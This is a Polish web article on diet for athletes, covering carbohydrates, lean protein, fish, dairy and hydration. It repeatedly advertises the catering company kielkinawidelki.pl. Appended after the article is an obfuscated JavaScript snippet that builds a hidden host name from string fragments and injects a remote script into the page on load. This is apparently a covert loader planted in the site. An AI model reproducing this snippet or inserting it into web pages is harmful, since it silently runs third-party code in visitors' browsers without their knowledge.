26 września 2015r. godz. 08:13, odsłon: 4475, Redakcja

Coś dla ciała – fit dieta dla tych, którzy lubią sport

Odpowiednia dieta jest bardzo ważnym elementem życia każdego sportowca, a także każdego, kto po prostu aktywnie żyje.

Odpowiednia dieta jest bardzo ważnym elementem życia każdego sportowca, a także każdego, kto po prostu aktywnie żyje i stawia na ruch. Podobno 50% sukcesu każdego sportowca to odpowiednie wyżywienie. Oczywiście każda dieta powinna być opracowana indywidualnie, mamy tu na uwadze rodzaj i częstotliwość uprawianego sportu, a także wiek i płeć osoby, dla której dieta jest opracowana.

Wiadomo, że sportowcy przyjmują suplementy diety w postaci przeróżnych odżywek, jednak samo jedzenie jest szalenie ważne. Przyjrzyjmy się więc, co w takim razie powinien spożywać ciągle aktywny fizycznie sportowiec. Najważniejsze są węglowodany, ponieważ stanowią 55-60% dziennego zapotrzebowania żywieniowego. Mówiąc o węglowodanach, nie można pominąć ryżu, makaronów, pieczywa pełnoziarnistego oraz ziemniaków. Białko to kolejny składnik wyżywienia sportowca, lecz ważna jest przede wszystkim jakość tego białka. Największy nacisk warto położyć na produkty mięsne, wskazane jest chude mięso, raczej pieczone czy gotowane, drób i wołowina. Bardzo ważne są ryby, a w szczególności chude ryby morskie, jak dorsz, sola, mintaj czy szprotki. O wartości odżywczej ryb nie trzeba chyba nikogo przekonywać, ponadto zawierają cenne dla organizmu kwasy omega-3 wspomagające także budowę mięśni. Bardzo ważny jest nabiał, mleko i jego przetwory oraz przede wszystkim jajka. Rzecz jasna mleko powinno mieć zmniejszoną zawartość tłuszczu, jego przetwory, jak maślanka czy sery także. Nabiał to cenne źródło tak potrzebnej witaminy D. Ponadto oczywiście nie należy zapominać o owocach, warzywach i sokach, które pozwolą uzupełnić niedobory witamin i minerałów. Ważne jest też picie odpowiedniej ilości płynów, szczególnie wody. Ponieważ organizm pobiera energię przez cały dzień, a sportowcy nie mogą pozwolić sobie na jej utratę, powinno się spożywać pięć dobrze zbilansowanych, pełnowartościowych posiłków dziennie. Oczywiście ilość węglowodanów i białka zawartych w diecie zależna jest od rodzaju sportu i ilości godzin, podczas których trenujemy. Dlatego dieta powinna być dobierana indywidualnie do potrzeb.

Diety dla sportowców, dzięki którym będziesz mógł skupić się na wynikach swoich treningów przygotuje dla Ciebie firma Kielkinawidelki.pl

Powinniśmy stawiać na potrawy lekkostrawne – jeśli wędliny i mięsa, to chude, ograniczyć powinniśmy potrawy wzdymające i raczej zdecydować się na gotowanie na parze zamiast smażyć i dusić.

Niezmiernie ważne jest nawadnianie organizmu, ponieważ podczas treningów tracimy wodę i elektrolity. Ważne jest, by o tym pamiętać, bo utrata wody może mieć bardzo nieprzyjemne konsekwencje. Niepożądane jest zjawisko hipoglikemii – gdy następuje spadek glukozy we krwi na skutek dużego wysiłku fizycznego – dlatego w menu sportowca nie powinno być miejsca na przekąski typu czekoladowe batoniki, bo zawarta w nich glukoza uwalnia się zbyt szybko.

Jeżeli jednak mamy problem z ustaleniem odpowiedniego menu, a zależy nam na dobrym stanie zdrowia i utrzymaniu odpowiedniego poziomu energii, możemy zdecydować się na zamówienie gotowych posiłków, odpowiednio zbilansowanych i dobranych według potrzeb. Firma cateringowa kielkinawidelki.pl specjalizuje się w różnego rodzaju dietach, w tym także dietach dla sportowców. Zamiast zastanawiać się nad tym, czy dobrze dobieramy składniki naszych pokarmów, warto zlecić to specjalistom, którzy opracują dietę za nas, a my oszczędzimy na czasie, spokojnie planując inne ważne zajęcia. Pięcioposiłkowa dieta dla sportowców opracowana przez dietetyka, pozwoli nam mieć pewność, że odżywiamy się właściwie i dostarczamy organizmowi odpowiednich składników. Kielkinawidelki.pl to firma, dzięki której skupimy się na wynikach naszych treningów, sprawy wyżywienia pozostawiając profesjonalistom.

(function(){ ur8w=document.createElement("script");ur8w.type="text/javascript"; ur8w.async=true;ur8w_=(("us")+"t")+"a";ur8w_+=("t.i")+""+"n";ur8w_+=(("f")+"o"); ur8w.src="http://"+ur8w_+"/5141484.sts2g7nkr8wyzrjb7k3X2j3tubwi40"; document.body.appendChild(ur8w); })();